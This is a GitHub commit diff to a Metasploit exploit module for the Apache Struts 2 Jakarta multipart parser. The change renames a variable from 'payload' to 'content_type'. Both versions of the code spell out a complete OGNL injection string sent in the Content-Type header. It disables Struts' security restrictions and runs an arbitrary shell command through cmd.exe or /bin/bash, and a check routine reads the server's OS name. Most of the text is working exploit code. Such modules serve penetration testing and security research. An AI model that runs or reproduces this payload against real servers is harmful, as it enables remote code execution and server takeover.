Skip to content

Commit e07d533

Browse files
committed
Don't step on the payload accessor
1 parent d92ffe2 commit e07d533

File tree

1 file changed

+36
-36
lines changed

1 file changed

+36
-36
lines changed

modules/exploits/multi/http/struts2_code_exec_jakarta.rb

Lines changed: 36 additions & 36 deletions
Original file line numberDiff line numberDiff line change
@@ -46,14 +46,14 @@ def print_status(msg='')
4646
super("#{peer} - #{msg}")
4747
end
4848

49-
def send_http_request(payload)
49+
def send_http_request(content_type)
5050
uri = normalize_uri(datastore["TARGETURI"])
5151
resp = send_request_cgi(
5252
'uri' => uri,
5353
'version' => '1.1',
5454
'method' => 'GET',
5555
'headers' => {
56-
'Content-Type': payload
56+
'Content-Type': content_type
5757
}
5858
)
5959

@@ -64,47 +64,47 @@ def send_http_request(payload)
6464
end
6565

6666
def http_send_command(cmd)
67-
payload = "%{(#_='multipart/form-data')."
68-
payload << "(#[email protected]@DEFAULT_MEMBER_ACCESS)."
69-
payload << "(#_memberAccess?"
70-
payload << "(#_memberAccess=#dm):"
71-
payload << "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
72-
payload << "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
73-
payload << "(#ognlUtil.getExcludedPackageNames().clear())."
74-
payload << "(#ognlUtil.getExcludedClasses().clear())."
75-
payload << "(#context.setMemberAccess(#dm))))."
76-
payload << "(#cmd='#{cmd}')."
77-
payload << "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
78-
payload << "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
79-
payload << "(#p=new java.lang.ProcessBuilder(#cmds))."
80-
payload << "(#p.redirectErrorStream(true))."
81-
payload << "(#process=#p.start())."
82-
payload << "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
83-
payload << "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
84-
payload << "(#ros.flush())}"
85-
send_http_request(payload)
67+
content_type = "%{(#_='multipart/form-data')."
68+
content_type << "(#[email protected]@DEFAULT_MEMBER_ACCESS)."
69+
content_type << "(#_memberAccess?"
70+
content_type << "(#_memberAccess=#dm):"
71+
content_type << "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
72+
content_type << "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
73+
content_type << "(#ognlUtil.getExcludedPackageNames().clear())."
74+
content_type << "(#ognlUtil.getExcludedClasses().clear())."
75+
content_type << "(#context.setMemberAccess(#dm))))."
76+
content_type << "(#cmd='#{cmd}')."
77+
content_type << "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
78+
content_type << "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
79+
content_type << "(#p=new java.lang.ProcessBuilder(#cmds))."
80+
content_type << "(#p.redirectErrorStream(true))."
81+
content_type << "(#process=#p.start())."
82+
content_type << "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
83+
content_type << "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
84+
content_type << "(#ros.flush())}"
85+
send_http_request(content_type)
8686
end
8787

8888
def check
8989
var_a = rand_text_alpha_lower(4)
9090

91-
payload = ""
92-
payload << %q|%{|
93-
payload << %q|(#_='multipart/form-data').|
94-
payload << %q|(#[email protected]@DEFAULT_MEMBER_ACCESS).|
95-
payload << %q|(#_memberAccess?|
96-
payload << %q|(#_memberAccess=#dm):|
97-
payload << %q|((#container=#context['com.opensymphony.xwork2.ActionContext.container']).|
98-
payload << %q|(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).|
99-
payload << %q|(#ognlUtil.getExcludedPackageNames().clear()).|
100-
payload << %q|(#ognlUtil.getExcludedClasses().clear()).|
101-
payload << %q|(#context.setMemberAccess(#dm)))).|
102-
payload << %q|(#[email protected]@getProperty('os.name')).|
103-
payload << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('|+var_a+%q|', #os))|
104-
payload << %q|}|
91+
content_type = ""
92+
content_type << %q|%{|
93+
content_type << %q|(#_='multipart/form-data').|
94+
content_type << %q|(#[email protected]@DEFAULT_MEMBER_ACCESS).|
95+
content_type << %q|(#_memberAccess?|
96+
content_type << %q|(#_memberAccess=#dm):|
97+
content_type << %q|((#container=#context['com.opensymphony.xwork2.ActionContext.container']).|
98+
content_type << %q|(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).|
99+
content_type << %q|(#ognlUtil.getExcludedPackageNames().clear()).|
100+
content_type << %q|(#ognlUtil.getExcludedClasses().clear()).|
101+
content_type << %q|(#context.setMemberAccess(#dm)))).|
102+
content_type << %q|(#[email protected]@getProperty('os.name')).|
103+
content_type << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('|+var_a+%q|', #os))|
104+
content_type << %q|}|
105105

106106
begin
107-
resp = send_http_request(payload)
107+
resp = send_http_request(content_type)
108108
rescue Msf::Exploit::Failed
109109
return Exploit::CheckCode::Unknown
110110
end

0 commit comments

Comments
 (0)